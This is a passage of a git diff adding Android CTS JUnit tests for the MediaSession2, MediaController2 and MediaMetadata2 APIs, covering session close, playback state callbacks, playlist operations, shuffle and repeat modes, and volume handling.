+ mController.close();
+ mController.close();
+ }
+
+ @Test
+ public void testClose_session() throws InterruptedException {
+ final String id = mSession.getToken().getId();
+ mController.close();
+ // close is done immediately for session.
+ testNoInteraction();
+
+ // Test whether the controller is notified about later close of the session or
+ // re-creation.
+ testControllerAfterSessionIsGone(id);
+ }
+
+ @Test
+ public void testClose_sessionService() throws InterruptedException {
+ testCloseFromService(MockMediaSessionService2.ID);
+ }
+
+ @Test
+ public void testClose_libraryService() throws InterruptedException {
+ testCloseFromService(MockMediaLibraryService2.ID);
+ }
+
+ private void testCloseFromService(String id) throws InterruptedException {
+ final CountDownLatch latch = new CountDownLatch(1);
+ TestServiceRegistry.getInstance().setSessionServiceCallback(new SessionServiceCallback() {
+ @Override
+ public void onDestroyed() {
+ latch.countDown();
+ }
+ });
+ mController = createController(TestUtils.getServiceToken(mContext, id));
+ mController.close();
+ // Wait until close triggers onDestroy() of the session service.
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ assertNull(TestServiceRegistry.getInstance().getServiceInstance());
+ testNoInteraction();
+
+ // Test whether the controller is notified about later close of the session or
+ // re-creation.
+ testControllerAfterSessionIsGone(id);
+ }
+
+ private void testControllerAfterSessionIsGone(final String id) throws InterruptedException {
+ sHandler.postAndSync(() -> {
+ // TODO(jaewan): Use Session.close later when we add the API.
+ mSession.close();
+ });
+ waitForDisconnect(mController, true);
+ testNoInteraction();
+
+ // Ensure that the controller cannot use newly create session with the same ID.
+ sHandler.postAndSync(() -> {
+ // Recreated session has different session stub, so previously created controller
+ // shouldn't be available.
+ mSession = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setSessionCallback(sHandlerExecutor, new SessionCallback() {})
+ .setId(id).build();
+ });
+ testNoInteraction();
+ }
+
+ private void testNoInteraction() throws InterruptedException {
+ // TODO: Uncomment
+ /*
+ final CountDownLatch latch = new CountDownLatch(1);
+ final PlayerEventCallback callback = new PlayerEventCallback() {
+ @Override
+ public void onPlaybackStateChanged(PlaybackState2 state) {
+ fail("Controller shouldn't be notified about change in session after the close.");
+ latch.countDown();
+ }
+ };
+ */
+
+ // TODO(jaewan): Add equivalent tests again
+ /*
+ mController.registerPlayerEventCallback(playbackListener, sHandler);
+ mPlayer.notifyPlaybackState(TestUtils.createPlaybackState(PlaybackState.STATE_BUFFERING));
+ assertFalse(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ mController.unregisterPlayerEventCallback(playbackListener);
+ */
+ }
+
+ // TODO(jaewan): Add test for service connect rejection, when we differentiate session
+ // active/inactive and connection accept/refuse
+
+ class TestVolumeProvider extends VolumeProvider2 {
+ final CountDownLatch mLatch = new CountDownLatch(1);
+ boolean mSetVolumeToCalled;
+ boolean mAdjustVolumeCalled;
+ int mVolume;
+ int mDirection;
+
+ public TestVolumeProvider(int controlType, int maxVolume, int currentVolume) {
+ super(controlType, maxVolume, currentVolume);
+ }
+
+ @Override
+ public void onSetVolumeTo(int volume) {
+ mSetVolumeToCalled = true;
+ mVolume = volume;
+ mLatch.countDown();
+ }
+
+ @Override
+ public void onAdjustVolume(int direction) {
+ mAdjustVolumeCalled = true;
+ mDirection = direction;
+ mLatch.countDown();
+ }
+ }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaMetadata2Test.java b/tests/tests/media/src/android/media/cts/MediaMetadata2Test.java
new file mode 100644
index 0000000..7c9f5b5
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaMetadata2Test.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertTrue;
+
+import android.media.MediaMetadata2;
+import android.media.MediaMetadata2.Builder;
+import android.media.Rating2;
+import android.os.Bundle;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+@Ignore
+public class MediaMetadata2Test {
+ @Test
+ public void testBuilder() {
+ final Bundle extras = new Bundle();
+ extras.putString("MediaMetadata2Test", "testBuilder");
+ final String title = "title";
+ final long discNumber = 10;
+ final Rating2 rating = Rating2.newThumbRating(true);
+
+ Builder builder = new Builder();
+ builder.setExtras(extras);
+ builder.putString(MediaMetadata2.METADATA_KEY_DISPLAY_TITLE, title);
+ builder.putLong(MediaMetadata2.METADATA_KEY_DISC_NUMBER, discNumber);
+ builder.putRating(MediaMetadata2.METADATA_KEY_USER_RATING, rating);
+
+ MediaMetadata2 metadata = builder.build();
+ assertTrue(TestUtils.equals(extras, metadata.getExtras()));
+ assertEquals(title, metadata.getString(MediaMetadata2.METADATA_KEY_DISPLAY_TITLE));
+ assertEquals(discNumber, metadata.getLong(MediaMetadata2.METADATA_KEY_DISC_NUMBER));
+ assertEquals(rating, metadata.getRating(MediaMetadata2.METADATA_KEY_USER_RATING));
+ }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaSession2Test.java b/tests/tests/media/src/android/media/cts/MediaSession2Test.java
new file mode 100644
index 0000000..99dc720
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaSession2Test.java
@@ -0,0 +1,877 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static android.media.AudioAttributes.CONTENT_TYPE_MUSIC;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.media.AudioAttributes;
+import android.media.AudioManager;
+import android.media.MediaController2;
+import android.media.MediaController2.ControllerCallback;
+import android.media.MediaController2.PlaybackInfo;
+import android.media.MediaItem2;
+import android.media.MediaMetadata2;
+import android.media.MediaPlayerBase;
+import android.media.MediaPlaylistAgent;
+import android.media.MediaSession2;
+import android.media.MediaSession2.Builder;
+import android.media.MediaSession2.CommandButton;
+import android.media.MediaSession2.ControllerInfo;
+import android.media.MediaSession2.SessionCallback;
+import android.media.SessionCommand2;
+import android.media.SessionCommandGroup2;
+import android.media.VolumeProvider2;
+import android.os.Bundle;
+import android.os.Process;
+import android.os.ResultReceiver;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.annotation.NonNull;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import junit.framework.Assert;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Set;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Tests {@link MediaSession2}.
+ */
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+@Ignore
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class MediaSession2Test extends MediaSession2TestBase {
+ private static final String TAG = "MediaSession2Test";
+
+ private MediaSession2 mSession;
+ private MockPlayer mPlayer;
+ private MockPlaylistAgent mMockAgent;
+
+ @Before
+ @Override
+ public void setUp() throws Exception {
+ super.setUp();
+ mPlayer = new MockPlayer(0);
+ mMockAgent = new MockPlaylistAgent();
+ mSession = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setPlaylistAgent(mMockAgent)
+ .setSessionCallback(sHandlerExecutor, new SessionCallback() {
+ @Override
+ public SessionCommandGroup2 onConnect(MediaSession2 session,
+ ControllerInfo controller) {
+ if (Process.myUid() == controller.getUid()) {
+ return super.onConnect(session, controller);
+ }
+ return null;
+ }
+ }).build();
+ }
+
+ @After
+ @Override
+ public void cleanUp() throws Exception {
+ super.cleanUp();
+ mSession.close();
+ }
+
+ @Ignore
+ @Test
+ public void testBuilder() {
+ try {
+ MediaSession2.Builder builder = new Builder(mContext);
+ fail("null player shouldn't be allowed");
+ } catch (IllegalArgumentException e) {
+ // expected. pass-through
+ }
+ MediaSession2.Builder builder = new Builder(mContext).setPlayer(mPlayer);
+ try {
+ builder.setId(null);
+ fail("null id shouldn't be allowed");
+ } catch (IllegalArgumentException e) {
+ // expected. pass-through
+ }
+ }
+
+ @Test
+ public void testPlayerStateChange() throws Exception {
+ final int targetState = MediaPlayerBase.PLAYER_STATE_PLAYING;
+ final CountDownLatch latchForSessionCallback = new CountDownLatch(1);
+ sHandler.postAndSync(() -> {
+ mSession.close();
+ mSession = new MediaSession2.Builder(mContext).setPlayer(mPlayer)
+ .setSessionCallback(sHandlerExecutor, new SessionCallback() {
+ @Override
+ public void onPlayerStateChanged(MediaSession2 session,
+ MediaPlayerBase player, int state) {
+ assertEquals(targetState, state);
+ latchForSessionCallback.countDown();
+ }
+ }).build();
+ });
+
+ final CountDownLatch latchForControllerCallback = new CountDownLatch(1);
+ final MediaController2 controller =
+ createController(mSession.getToken(), true, new ControllerCallback() {
+ @Override
+ public void onPlayerStateChanged(MediaController2 controllerOut, int state) {
+ assertEquals(targetState, state);
+ latchForControllerCallback.countDown();
+ }
+ });
+
+ mPlayer.notifyPlaybackState(MediaPlayerBase.PLAYER_STATE_PLAYING);
+ assertTrue(latchForSessionCallback.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ assertTrue(latchForControllerCallback.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ assertEquals(targetState, controller.getPlayerState());
+ }
+
+ @Test
+ public void testCurrentDataSourceChanged() throws Exception {
+ final int listSize = 5;
+ final List<MediaItem2> list = TestUtils.createPlaylist(listSize);
+ final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+ @Override
+ public List<MediaItem2> getPlaylist() {
+ return list;
+ }
+ };
+
+ MediaItem2 currentItem = list.get(3);
+
+ final CountDownLatch latchForSessionCallback = new CountDownLatch(1);
+ try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setPlaylistAgent(agent)
+ .setId("testCurrentDataSourceChanged")
+ .setSessionCallback(sHandlerExecutor, new SessionCallback() {
+ @Override
+ public void onCurrentMediaItemChanged(MediaSession2 session,
+ MediaPlayerBase player, MediaItem2 itemOut) {
+ assertSame(currentItem, itemOut);
+ latchForSessionCallback.countDown();
+ }
+ }).build()) {
+
+ mPlayer.notifyCurrentDataSourceChanged(currentItem.getDataSourceDesc());
+ assertTrue(latchForSessionCallback.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ // TODO (jaewan): Test that controllers are also notified. (b/74505936)
+ }
+ }
+
+ @Test
+ public void testMediaPrepared() throws Exception {
+ final int listSize = 5;
+ final List<MediaItem2> list = TestUtils.createPlaylist(listSize);
+ final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+ @Override
+ public List<MediaItem2> getPlaylist() {
+ return list;
+ }
+ };
+
+ MediaItem2 currentItem = list.get(3);
+
+ final CountDownLatch latchForSessionCallback = new CountDownLatch(1);
+ try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setPlaylistAgent(agent)
+ .setId("testMediaPrepared")
+ .setSessionCallback(sHandlerExecutor, new SessionCallback() {
+ @Override
+ public void onMediaPrepared(MediaSession2 session, MediaPlayerBase player,
+ MediaItem2 itemOut) {
+ assertSame(currentItem, itemOut);
+ latchForSessionCallback.countDown();
+ }
+ }).build()) {
+
+ mPlayer.notifyMediaPrepared(currentItem.getDataSourceDesc());
+ assertTrue(latchForSessionCallback.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ // TODO (jaewan): Test that controllers are also notified. (b/74505936)
+ }
+ }
+
+ @Test
+ public void testBufferingStateChanged() throws Exception {
+ final int listSize = 5;
+ final List<MediaItem2> list = TestUtils.createPlaylist(listSize);
+ final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+ @Override
+ public List<MediaItem2> getPlaylist() {
+ return list;
+ }
+ };
+
+ MediaItem2 currentItem = list.get(3);
+ final int buffState = MediaPlayerBase.BUFFERING_STATE_BUFFERING_COMPLETE;
+
+ final CountDownLatch latchForSessionCallback = new CountDownLatch(1);
+ try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setPlaylistAgent(agent)
+ .setId("testBufferingStateChanged")
+ .setSessionCallback(sHandlerExecutor, new SessionCallback() {
+ @Override
+ public void onBufferingStateChanged(MediaSession2 session,
+ MediaPlayerBase player, MediaItem2 itemOut, int stateOut) {
+ assertSame(currentItem, itemOut);
+ assertEquals(buffState, stateOut);
+ latchForSessionCallback.countDown();
+ }
+ }).build()) {
+
+ mPlayer.notifyBufferingStateChanged(currentItem.getDataSourceDesc(), buffState);
+ assertTrue(latchForSessionCallback.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ // TODO (jaewan): Test that controllers are also notified. (b/74505936)
+ }
+ }
+
+ @Test
+ public void testUpdatePlayer() throws Exception {
+ final int targetState = MediaPlayerBase.PLAYER_STATE_PLAYING;
+ final CountDownLatch latch = new CountDownLatch(1);
+ sHandler.postAndSync(() -> {
+ mSession.close();
+ mSession = new MediaSession2.Builder(mContext).setPlayer(mPlayer)
+ .setSessionCallback(sHandlerExecutor, new SessionCallback() {
+ @Override
+ public void onPlayerStateChanged(MediaSession2 session,
+ MediaPlayerBase player, int state) {
+ assertEquals(targetState, state);
+ latch.countDown();
+ }
+ }).build();
+ });
+
+ MockPlayer player = new MockPlayer(0);
+
+ // Test if setPlayer doesn't crash with various situations.
+ mSession.updatePlayer(mPlayer, null, null);
+ assertEquals(mPlayer, mSession.getPlayer());
+ MediaPlaylistAgent agent = mSession.getPlaylistAgent();
+ assertNotNull(agent);
+
+ mSession.updatePlayer(player, null, null);
+ assertEquals(player, mSession.getPlayer());
+ assertNotNull(mSession.getPlaylistAgent());
+ assertNotEquals(agent, mSession.getPlaylistAgent());
+
+ player.notifyPlaybackState(MediaPlayerBase.PLAYER_STATE_PLAYING);
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+
+ @Test
+ public void testSetPlayer_playbackInfo() throws Exception {
+ MockPlayer player = new MockPlayer(0);
+ AudioAttributes attrs = new AudioAttributes.Builder()
+ .setContentType(CONTENT_TYPE_MUSIC)
+ .build();
+ player.setAudioAttributes(attrs);
+
+ final int maxVolume = 100;
+ final int currentVolume = 23;
+ final int volumeControlType = VolumeProvider2.VOLUME_CONTROL_ABSOLUTE;
+ VolumeProvider2 volumeProvider =
+ new VolumeProvider2(volumeControlType, maxVolume, currentVolume) { };
+
+ final CountDownLatch latch = new CountDownLatch(1);
+ final ControllerCallback callback = new ControllerCallback() {
+ @Override
+ public void onPlaybackInfoChanged(MediaController2 controller,
+ PlaybackInfo info) {
+ Assert.assertEquals(PlaybackInfo.PLAYBACK_TYPE_REMOTE, info.getPlaybackType());
+ assertEquals(attrs, info.getAudioAttributes());
+ assertEquals(volumeControlType, info.getPlaybackType());
+ assertEquals(maxVolume, info.getMaxVolume());
+ assertEquals(currentVolume, info.getCurrentVolume());
+ latch.countDown();
+ }
+ };
+
+ mSession.updatePlayer(player, null, null);
+
+ final MediaController2 controller = createController(mSession.getToken(), true, callback);
+ PlaybackInfo info = controller.getPlaybackInfo();
+ assertNotNull(info);
+ assertEquals(PlaybackInfo.PLAYBACK_TYPE_LOCAL, info.getPlaybackType());
+ assertEquals(attrs, info.getAudioAttributes());
+ AudioManager manager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
+ int localVolumeControlType = manager.isVolumeFixed()
+ ? VolumeProvider2.VOLUME_CONTROL_FIXED : VolumeProvider2.VOLUME_CONTROL_ABSOLUTE;
+ assertEquals(localVolumeControlType, info.getControlType());
+ assertEquals(manager.getStreamMaxVolume(AudioManager.STREAM_MUSIC), info.getMaxVolume());
+ assertEquals(manager.getStreamVolume(AudioManager.STREAM_MUSIC), info.getCurrentVolume());
+
+ mSession.updatePlayer(player, null, volumeProvider);
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+
+ info = controller.getPlaybackInfo();
+ assertNotNull(info);
+ assertEquals(PlaybackInfo.PLAYBACK_TYPE_REMOTE, info.getPlaybackType());
+ assertEquals(attrs, info.getAudioAttributes());
+ assertEquals(volumeControlType, info.getControlType());
+ assertEquals(maxVolume, info.getMaxVolume());
+ assertEquals(currentVolume, info.getCurrentVolume());
+ }
+
+ @Test
+ public void testPlay() throws Exception {
+ sHandler.postAndSync(() -> {
+ mSession.play();
+ assertTrue(mPlayer.mPlayCalled);
+ });
+ }
+
+ @Test
+ public void testPause() throws Exception {
+ sHandler.postAndSync(() -> {
+ mSession.pause();
+ assertTrue(mPlayer.mPauseCalled);
+ });
+ }
+
+ @Ignore
+ @Test
+ public void testStop() throws Exception {
+ sHandler.postAndSync(() -> {
+ mSession.stop();
+ assertTrue(mPlayer.mStopCalled);
+ });
+ }
+
+ @Test
+ public void testSkipToPreviousItem() {
+ mSession.skipToPreviousItem();
+ assertTrue(mMockAgent.mSkipToPreviousItemCalled);
+ }
+
+ @Test
+ public void testSkipToNextItem() throws Exception {
+ mSession.skipToNextItem();
+ assertTrue(mMockAgent.mSkipToNextItemCalled);
+ }
+
+ @Test
+ public void testSkipToPlaylistItem() throws Exception {
+ final MediaItem2 testMediaItem = TestUtils.createMediaItemWithMetadata();
+ mSession.skipToPlaylistItem(testMediaItem);
+ assertTrue(mMockAgent.mSkipToPlaylistItemCalled);
+ assertSame(testMediaItem, mMockAgent.mItem);
+ }
+
+ @Test
+ public void testGetPlayerState() {
+ final int state = MediaPlayerBase.PLAYER_STATE_PLAYING;
+ mPlayer.mLastPlayerState = state;
+ assertEquals(state, mSession.getPlayerState());
+ }
+
+ @Test
+ public void testGetPosition() {
+ final long position = 150000;
+ mPlayer.mCurrentPosition = position;
+ assertEquals(position, mSession.getCurrentPosition());
+ }
+
+ @Test
+ public void testGetBufferedPosition() {
+ final long bufferedPosition = 900000;
+ mPlayer.mBufferedPosition = bufferedPosition;
+ assertEquals(bufferedPosition, mSession.getBufferedPosition());
+ }
+
+ @Test
+ public void testSetPlaylist() {
+ final List<MediaItem2> list = TestUtils.createPlaylist(2);
+ mSession.setPlaylist(list, null);
+ assertTrue(mMockAgent.mSetPlaylistCalled);
+ assertSame(list, mMockAgent.mPlaylist);
+ assertNull(mMockAgent.mMetadata);
+ }
+
+ @Test
+ public void testGetPlaylist() {
+ final List<MediaItem2> list = TestUtils.createPlaylist(2);
+ mMockAgent.mPlaylist = list;
+ assertEquals(list, mSession.getPlaylist());
+ }
+
+ @Test
+ public void testUpdatePlaylistMetadata() {
+ final MediaMetadata2 testMetadata = TestUtils.createMetadata();
+ mSession.updatePlaylistMetadata(testMetadata);
+ assertTrue(mMockAgent.mUpdatePlaylistMetadataCalled);
+ assertSame(testMetadata, mMockAgent.mMetadata);
+ }
+
+ @Test
+ public void testGetPlaylistMetadata() {
+ final MediaMetadata2 testMetadata = TestUtils.createMetadata();
+ mMockAgent.mMetadata = testMetadata;
+ assertEquals(testMetadata, mSession.getPlaylistMetadata());
+ }
+
+ @Test
+ public void testSessionCallback_onPlaylistChanged() throws InterruptedException {
+ final List<MediaItem2> list = TestUtils.createPlaylist(2);
+ final CountDownLatch latch = new CountDownLatch(1);
+ final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+ @Override
+ public List<MediaItem2> getPlaylist() {
+ return list;
+ }
+ };
+ final SessionCallback sessionCallback = new SessionCallback() {
+ @Override
+ public void onPlaylistChanged(MediaSession2 session, MediaPlaylistAgent playlistAgent,
+ List<MediaItem2> playlist, MediaMetadata2 metadata) {
+ assertEquals(agent, playlistAgent);
+ assertEquals(list, playlist);
+ assertNull(metadata);
+ latch.countDown();
+ }
+ };
+ try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setPlaylistAgent(agent)
+ .setId("testSessionCallback")
+ .setSessionCallback(sHandlerExecutor, sessionCallback)
+ .build()) {
+ agent.notifyPlaylistChanged();
+ assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ }
+ }
+
+ @Test
+ public void testAddPlaylistItem() {
+ final int testIndex = 12;
+ final MediaItem2 testMediaItem = TestUtils.createMediaItemWithMetadata();
+ mSession.addPlaylistItem(testIndex, testMediaItem);
+ assertTrue(mMockAgent.mAddPlaylistItemCalled);
+ assertEquals(testIndex, mMockAgent.mIndex);
+ assertSame(testMediaItem, mMockAgent.mItem);
+ }
+
+ @Test
+ public void testRemovePlaylistItem() {
+ final MediaItem2 testMediaItem = TestUtils.createMediaItemWithMetadata();
+ mSession.removePlaylistItem(testMediaItem);
+ assertTrue(mMockAgent.mRemovePlaylistItemCalled);
+ assertSame(testMediaItem, mMockAgent.mItem);
+ }
+
+ @Test
+ public void testReplacePlaylistItem() throws InterruptedException {
+ final int testIndex = 12;
+ final MediaItem2 testMediaItem = TestUtils.createMediaItemWithMetadata();
+ mSession.replacePlaylistItem(testIndex, testMediaItem);
+ assertTrue(mMockAgent.mReplacePlaylistItemCalled);
+ assertEquals(testIndex, mMockAgent.mIndex);
+ assertSame(testMediaItem, mMockAgent.mItem);
+ }
+
+ /**
+ * This also tests {@link SessionCallback#onShuffleModeChanged(
+ * MediaSession2, MediaPlaylistAgent, int)}
+ */
+ @Test
+ public void testGetShuffleMode() throws InterruptedException {
+ final int testShuffleMode = MediaPlaylistAgent.SHUFFLE_MODE_GROUP;
+ final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+ @Override
+ public int getShuffleMode() {
+ return testShuffleMode;
+ }
+ };
+ final CountDownLatch latch = new CountDownLatch(1);
+ final SessionCallback sessionCallback = new SessionCallback() {
+ @Override
+ public void onShuffleModeChanged(MediaSession2 session,
+ MediaPlaylistAgent playlistAgent, int shuffleMode) {
+ assertEquals(agent, playlistAgent);
+ assertEquals(testShuffleMode, shuffleMode);
+ latch.countDown();
+ }
+ };
+ try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setPlaylistAgent(agent)
+ .setId("testGetShuffleMode")
+ .setSessionCallback(sHandlerExecutor, sessionCallback)
+ .build()) {
+ agent.notifyShuffleModeChanged();
+ assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ }
+ }
+
+ @Test
+ public void testSetShuffleMode() {
+ final int testShuffleMode = MediaPlaylistAgent.SHUFFLE_MODE_GROUP;
+ mSession.setShuffleMode(testShuffleMode);
+ assertTrue(mMockAgent.mSetShuffleModeCalled);
+ assertEquals(testShuffleMode, mMockAgent.mShuffleMode);
+ }
+
+ /**
+ * This also tests {@link SessionCallback#onShuffleModeChanged(
+ * MediaSession2, MediaPlaylistAgent, int)}
+ */
+ @Test
+ public void testGetRepeatMode() throws InterruptedException {
+ final int testRepeatMode = MediaPlaylistAgent.REPEAT_MODE_GROUP;
+ final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+ @Override
+ public int getRepeatMode() {
+ return testRepeatMode;
+ }
+ };
+ final CountDownLatch latch = new CountDownLatch(1);
+ final SessionCallback sessionCallback = new SessionCallback() {
+ @Override
+ public void onRepeatModeChanged(MediaSession2 session, MediaPlaylistAgent playlistAgent,
+ int repeatMode) {
+ assertEquals(agent, playlistAgent);
+ assertEquals(testRepeatMode, repeatMode);
+ latch.countDown();
+ }
+ };
+ try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setPlaylistAgent(agent)
+ .setId("testGetRepeatMode")
+ .setSessionCallback(sHandlerExecutor, sessionCallback)
+ .build()) {
+ agent.notifyRepeatModeChanged();
+ assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ }
+ }
+
+ @Test
+ public void testSetRepeatMode() {
+ final int testRepeatMode = MediaPlaylistAgent.REPEAT_MODE_GROUP;
+ mSession.setRepeatMode(testRepeatMode);
+ assertTrue(mMockAgent.mSetRepeatModeCalled);
+ assertEquals(testRepeatMode, mMockAgent.mRepeatMode);
+ }
+
+ // TODO (jaewan): Revisit
+ @Test
+ public void testBadPlayer() throws InterruptedException {
+ // TODO(jaewan): Add equivalent tests again
+ final CountDownLatch latch = new CountDownLatch(4); // expected call + 1
+ final BadPlayer player = new BadPlayer(0);
+
+ mSession.updatePlayer(player, null, null);
+ mSession.updatePlayer(mPlayer, null, null);
+ player.notifyPlaybackState(MediaPlayerBase.PLAYER_STATE_PAUSED);
+ assertFalse(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+
+ // This bad player will keep push events to the listener that is previously
+ // registered by session.setPlayer().
+ private static class BadPlayer extends MockPlayer {
+ public BadPlayer(int count) {
+ super(count);
+ }
+
+ @Override
+ public void unregisterPlayerEventCallback(
+ @NonNull MediaPlayerBase.PlayerEventCallback listener) {
+ // No-op.
+ }
+ }
+
+ @Test
+ public void testOnCommandCallback() throws InterruptedException {
+ final MockOnCommandCallback callback = new MockOnCommandCallback();
+ sHandler.postAndSync(() -> {
+ mSession.close();
+ mPlayer = new MockPlayer(1);
+ mSession = new MediaSession2.Builder(mContext).setPlayer(mPlayer)
+ .setSessionCallback(sHandlerExecutor, callback).build();
+ });
+ MediaController2 controller = createController(mSession.getToken());
+ controller.pause();
+ assertFalse(mPlayer.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ assertFalse(mPlayer.mPauseCalled);
+ assertEquals(1, callback.commands.size());
+ assertEquals(SessionCommand2.COMMAND_CODE_PLAYBACK_PAUSE,
+ (long) callback.commands.get(0).getCommandCode());
+
+ controller.play();
+ assertTrue(mPlayer.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ assertTrue(mPlayer.mPlayCalled);
+ assertFalse(mPlayer.mPauseCalled);
+ assertEquals(2, callback.commands.size());
+ assertEquals(SessionCommand2.COMMAND_CODE_PLAYBACK_PLAY,
+ (long) callback.commands.get(1).getCommandCode());
+ }
+
+ @Test
+ public void testOnConnectCallback() throws InterruptedException {
+ final MockOnConnectCallback sessionCallback = new MockOnConnectCallback();
+ sHandler.postAndSync(() -> {
+ mSession.close();
+ mSession = new MediaSession2.Builder(mContext).setPlayer(mPlayer)
+ .setSessionCallback(sHandlerExecutor, sessionCallback).build();
+ });
+ MediaController2 controller = createController(mSession.getToken(), false, null);
+ assertNotNull(controller);
+ waitForConnect(controller, false);
+ waitForDisconnect(controller, true);
+ }
+
+ @Test
+ public void testOnDisconnectCallback() throws InterruptedException {
+ final CountDownLatch latch = new CountDownLatch(1);
+ try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setId("testOnDisconnectCallback")
+ .setSessionCallback(sHandlerExecutor, new SessionCallback() {
+ @Override
+ public void onDisconnected(MediaSession2 session,
+ ControllerInfo controller) {
+ assertEquals(Process.myUid(), controller.getUid());
+ latch.countDown();
+ }
+ }).build()) {
+ MediaController2 controller = createController(session.getToken());
+ controller.close();
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+ }
+
+ @Test
+ public void testSetCustomLayout() throws InterruptedException {
+ final List<CommandButton> buttons = new ArrayList<>();
+ buttons.add(new CommandButton.Builder()
+ .setCommand(new SessionCommand2(SessionCommand2.COMMAND_CODE_PLAYBACK_PLAY))
+ .setDisplayName("button").build());
+ final CountDownLatch latch = new CountDownLatch(1);
+ final SessionCallback sessionCallback = new SessionCallback() {
+ @Override
+ public SessionCommandGroup2 onConnect(MediaSession2 session,
+ ControllerInfo controller) {
+ if (mContext.getPackageName().equals(controller.getPackageName())) {
+ mSession.setCustomLayout(controller, buttons);
+ }
+ return super.onConnect(session, controller);
+ }
+ };
+
+ try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setId("testSetCustomLayout")
+ .setSessionCallback(sHandlerExecutor, sessionCallback)
+ .build()) {
+ if (mSession != null) {
+ mSession.close();
+ mSession = session;
+ }
+ final ControllerCallback callback = new ControllerCallback() {
+ @Override
+ public void onCustomLayoutChanged(MediaController2 controller2,
+ List<CommandButton> layout) {
+ assertEquals(layout.size(), buttons.size());
+ for (int i = 0; i < layout.size(); i++) {
+ assertEquals(layout.get(i).getCommand(), buttons.get(i).getCommand());
+ assertEquals(layout.get(i).getDisplayName(),
+ buttons.get(i).getDisplayName());
+ }
+ latch.countDown();
+ }
+ };
+ final MediaController2 controller =
+ createController(session.getToken(), true, callback);
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+ }
+
+ @Test
+ public void testSetAllowedCommands() throws InterruptedException {
+ final SessionCommandGroup2 commands = new SessionCommandGroup2();
